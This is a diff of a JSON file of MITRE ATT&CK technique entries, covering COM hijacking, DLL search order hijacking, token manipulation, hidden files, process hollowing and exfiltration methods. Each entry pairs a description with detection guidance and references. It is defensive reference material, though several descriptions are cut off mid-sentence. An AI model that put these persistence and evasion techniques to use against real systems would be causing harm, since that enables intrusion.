DLLs\n\nContributors: ENDGAME", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "DLL monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1122", + "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://msdn.microsoft.com/library/ms694363.aspx", + "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" + ], + "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + "value": "Component Object Model Hijacking" }, { "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention", @@ -138,8 +521,14 @@ "value": "Communication Through Removable Media" }, { - "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. [[Citation: Microsoft runas]]\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.[[Citation: Pentestlab Token Manipulation]]\n\nAdversaries can also create spoofed access tokens if they know the credentials of a user. Any standard user can use the runas command, and the Windows API functions, to do this; it does not require access to an administrator account.\n\nLastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nMetasploit’s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges. [[Citation: Metasploit access token]] The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens. [[Citation: Cobalt Strike Access Token]]\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.[[Citation: Microsoft Command-line Logging]]\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser[[Citation: Microsoft LogonUser]], DuplicateTokenEx[[Citation: Microsoft DuplicateTokenEx]], and ImpersonateLoggedOnUser[[Citation: Microsoft ImpersonateLoggedOnUser]]). Please see the referenced Windows API pages for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nEffective Permissions: SYSTEM\n\nContributors: Tom Ueltschi @c_APT_ure", + "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command.Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs", "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Packet capture", + "Authentication logs" + ], "mitre_platforms": [ "Windows Server 2003", "Windows Server 2008", @@ -155,22 +544,120 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1134", - "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", - "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", - "https://technet.microsoft.com/en-us/library/bb490994.aspx", - "https://pentestlab.blog/2017/04/03/token-manipulation/", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" + "https://attack.mitre.org/wiki/Technique/T1126", + "https://technet.microsoft.com/bb490717.aspx" ], - "uuid": "a611377b-ff2b-450c-b065-19026fa63488" + "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a" }, - "value": "Access Token Manipulation" + "value": "Network Share Connection Removal" }, { - "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree.Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1083", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ], + "uuid": "7bc57495-ea59-4380-be31-a64af124ef18" + }, + "value": "File and Directory Discovery" + }, + { + "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name [[Citation: Sofacy Komplex Trojan]][[Citation: Antiquated Mac Malware]]. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app[[Citation: WireLurker]].\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1158", + "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + ], + "uuid": "ee44bd9f-2ab5-4f3b-93cd-20f30cbc63b9" + }, + "value": "Hidden Files and Directories" + }, + { + "description": "Windows systems use a common method to look for required DLLs to load into a program.[[Citation: Microsoft DLL Search]] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks,[[Citation: OWASP Binary Planting]] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.[[Citation: Microsoft 2269637]] Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.[[Citation: Microsoft DLL Redirection]][[Citation: Microsoft Manifests]][[Citation: Mandiant Search Order]]\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs.[[Citation: Microsoft DLL Preloading]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, DLL monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1038", + "https://msdn.microsoft.com/en-US/library/aa375365", + "https://www.owasp.org/index.php/Binary%20planting", + "http://msdn.microsoft.com/en-US/library/ms682586", + "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx", + "http://msdn.microsoft.com/en-US/library/ms682600", + "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", + "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" + ], + "uuid": "46944654-fcc1-4f63-9dad-628102376586" + }, + "value": "DLL Search Order Hijacking" + }, + { + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", "meta": { "mitre_data_sources": [ "Packet capture", @@ -190,85 +677,25 @@ "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Linux", "Windows 10", + "Linux", "MacOS", "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1094", + "https://attack.mitre.org/wiki/Technique/T1030", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ], - "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00" + "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd" }, - "value": "Custom Command and Control Protocol" + "value": "Data Transfer Size Limits" }, { - "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.[[Citation: Mozilla Firefox Installer DLL Hijack]][[Citation: Seclists Kanthak 7zip Installer]]\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to [[Discovery]] or other adversary techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM, User, Administrator\n\nContributors: Stefan Kanthak", + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ "File monitoring", - "Services", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1044", - "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", - "http://seclists.org/fulldisclosure/2015/Dec/34" - ], - "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a" - }, - "value": "File System Permissions Weakness" - }, - { - "description": "Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different.DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, API monitoring", - "meta": { - "mitre_data_sources": [ "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1093", - "http://www.autosectools.com/process-hollowing.pdf" - ], - "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21" - }, - "value": "Process Hollowing" - }, - { - "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit[[Citation: Metasploit]], Veil[[Citation: Veil]], and PowerSploit[[Citation: Powersploit]] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.[[Citation: Alperovitch 2014]]\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [[Discovery]], [[Collection]], or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "File monitoring", "Process command-line parameters" ], "mitre_platforms": [ @@ -289,15 +716,11 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1064", - "http://www.metasploit.com", - "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", - "https://www.veil-framework.com/framework/", - "https://github.com/mattifestation/PowerSploit" + "https://attack.mitre.org/wiki/Technique/T1005" ], - "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44" + "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5" }, - "value": "Scripting" + "value": "Data from Local System" }, { "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", @@ -332,11 +755,405 @@ "value": "Data from Removable Media" }, { - "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.[[Citation: Wikipedia Code Signing]] However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries[[Citation: Janicab]]. The certificates used during an operation may be created, forged, or stolen by the adversary.[[Citation: Securelist Digital Certificates]][[Citation: Symantec Digital Certificates]]\n\nCode signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.[[Citation: Wikipedia Code Signing]]\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Binary file metadata", + "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.[[Citation: Wikipedia Windows Library Files]]\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nContributors: Stefan Kanthak", "meta": { "mitre_data_sources": [ + "Process Monitoring", + "API monitoring", + "File monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1129", + "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files" + ], + "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + "value": "Execution through Module Load" + }, + { + "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Data loss prevention, File monitoring", + "meta": { + "mitre_data_sources": [ + "Data loss prevention", + "File monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1052" + ], + "uuid": "e6415f09-df0e-48de-9aba-928c902b7549" + }, + "value": "Exfiltration Over Physical Medium" + }, + { + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering, Binary file metadata", + "meta": { + "mitre_data_sources": [ + "Network protocol analysis", + "Process use of network", + "File monitoring", + "Malware reverse engineering", "Binary file metadata" ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1027" + ], + "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + "value": "Obfuscated Files or Information" + }, + { + "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring", + "meta": { + "mitre_data_sources": [ + "API monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1006", + "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1", + "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin" + ], + "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5" + }, + "value": "File System Logical Offsets" + }, + { + "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under 